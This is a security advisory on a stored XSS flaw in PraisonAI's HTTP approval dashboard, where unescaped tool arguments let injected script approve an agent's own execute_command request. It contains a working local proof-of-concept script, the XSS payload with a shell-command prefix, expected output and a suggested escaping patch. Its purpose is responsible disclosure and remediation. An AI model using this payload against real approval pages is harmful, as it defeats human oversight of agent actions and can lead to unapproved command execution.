This is distinct from the previously published stored-XSS advisory for agent output rendering. That advisory concerned src/praisonai/api.py and missing nh3 sanitization in older versions. This report concerns the HTTPApproval dashboard sink and remains present in current head.

Root Cause

In src/praisonai/praisonai/bots/_http_approval.py, _build_html() builds the approval page with raw f-string interpolation:

• argument keys and values are appended to args_html without HTML escaping;
• tool_name, risk_level, and agent_name are also interpolated into the returned HTML;
• the generated page contains same-origin JavaScript that posts to /approve/{request_id}/decide.

_handle_decide() accepts JSON from that endpoint and marks the pending request approved when decision == "approve".

Because the approval page is generated from the pending request's unescaped tool arguments, an injected script can call the same endpoint that the legitimate Approve button uses. The request id is unguessable, but the script runs inside the loaded approval page and can derive the endpoint from location.pathname.

Reproduction

The PoV is local-only and does not execute the dangerous tool command. Run it from a PraisonAI checkout or environment where praisonai and praisonaiagents import from the candidate version.

import asyncio
import json
import socket

import aiohttp
from praisonai.bots._http_approval import HTTPApproval
from praisonaiagents.approval.protocols import ApprovalRequest


def free_port():
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
        sock.bind(("127.0.0.1", 0))
        return sock.getsockname()[1]


payload = (
    "touch /tmp/prai010 # "
    "</code><script>"
    "fetch(location.pathname+'/decide',{"
    "method:'POST',headers:{'Content-Type':'application/json'},"
    "body:'{\"decision\":\"approve\"}'})"
    "</script><code>"
)


async def main():
    backend = HTTPApproval(host="127.0.0.1", port=free_port(), timeout=5)
    request = ApprovalRequest(
        tool_name="execute_command",
        arguments={"command": payload},
        risk_level="critical",
        agent_name="pov-agent",
    )
    task = asyncio.create_task(backend.request_approval(request))

    request_id = ""
    for _ in range(100):
        if backend._pending:
            request_id = next(iter(backend._pending))
            break
        await asyncio.sleep(0.05)
    assert request_id

    url = f"http://127.0.0.1:{backend._port}/approve/{request_id}"
    async with aiohttp.ClientSession() as session:
        async with session.get(url) as response:
            page = await response.text()
        raw_script_present = "<script>fetch(location.pathname+'/decide'" in page
        script_not_html_escaped = "&lt;script" not in page
        payload_uses_same_origin_decide_endpoint = "fetch(location.pathname+'/decide'" in page
        payload_not_truncated = "..." not in page[
            page.find("<script>"):page.find("<script>") + len(payload) + 10
        ]
        assert raw_script_present
        assert script_not_html_escaped
        assert payload_not_truncated

        # Same request the injected same-origin script submits.
        async with session.post(f"{url}/decide", json={"decision": "approve"}) as response:
            post_body = await response.text()

    decision = await task
    await backend.shutdown()
    print(json.dumps({
        "payload_len": len(payload),
        "payload_shell_prefix": "touch /tmp/prai010",
        "raw_script_present": raw_script_present,
        "script_not_html_escaped": script_not_html_escaped,
        "payload_uses_same_origin_decide_endpoint": payload_uses_same_origin_decide_endpoint,
        "payload_not_truncated": payload_not_truncated,
        "post_body": post_body,
        "decision_approved": decision.approved,
        "decision_reason": decision.reason,
        "vulnerable": bool(
            raw_script_present
            and script_not_html_escaped
            and payload_uses_same_origin_decide_endpoint
            and payload_not_truncated
            and decision.approved
        ),
    }, indent=2))


asyncio.run(main())

Expected affected output includes:

{
  "payload_len": 175,
  "payload_shell_prefix": "touch /tmp/prai010",
  "raw_script_present": true,
  "script_not_html_escaped": true,
  "payload_uses_same_origin_decide_endpoint": true,
  "payload_not_truncated": true,
  "decision_approved": true,
  "vulnerable": true
}

The relevant injected argument shape is:

touch /tmp/prai010 # </code><script>fetch(location.pathname+'/decide',{method:'POST',headers:{'Content-Type':'application/json'},body:'{"decision":"approve"}'})</script><code>

The shell prefix demonstrates that the same argument can be executable shell syntax after approval; the PoV stops before executing the tool.

Suggested Fix

Escape every untrusted value before inserting it into the approval HTML:

• tool_name
• risk_level
• agent_name
• every argument key
• every argument value

For example, use html.escape(str(value), quote=True) or a template engine that auto-escapes by default. Add regression tests that include </code><script>... in tool arguments and assert that the rendered page contains escaped text, not a script element.

Minimal patch shape:

from html import escape


def h(value: object) -> str:
    return escape(str(value), quote=True)


tool_name = h(info.get("tool_name", "unknown"))
risk_level = h(info.get("risk_level", "unknown"))
agent_name = h(info.get("agent_name", ""))

args_html = ""
for k, v in arguments.items():
    val_str = str(v)
    if len(val_str) > 200:
        val_str = val_str[:197] + "..."
    args_html += (
        f"<tr><td><code>{h(k)}</code></td>"
        f"<td><code>{h(val_str)}</code></td></tr>"
    )

Additional hardening:

• avoid inline JavaScript and add a restrictive Content Security Policy;
• keep the request id as an unguessable capability, but do not rely on it as an XSS defense;
• consider requiring a per-request decision token outside attacker-controlled rendered argument fields.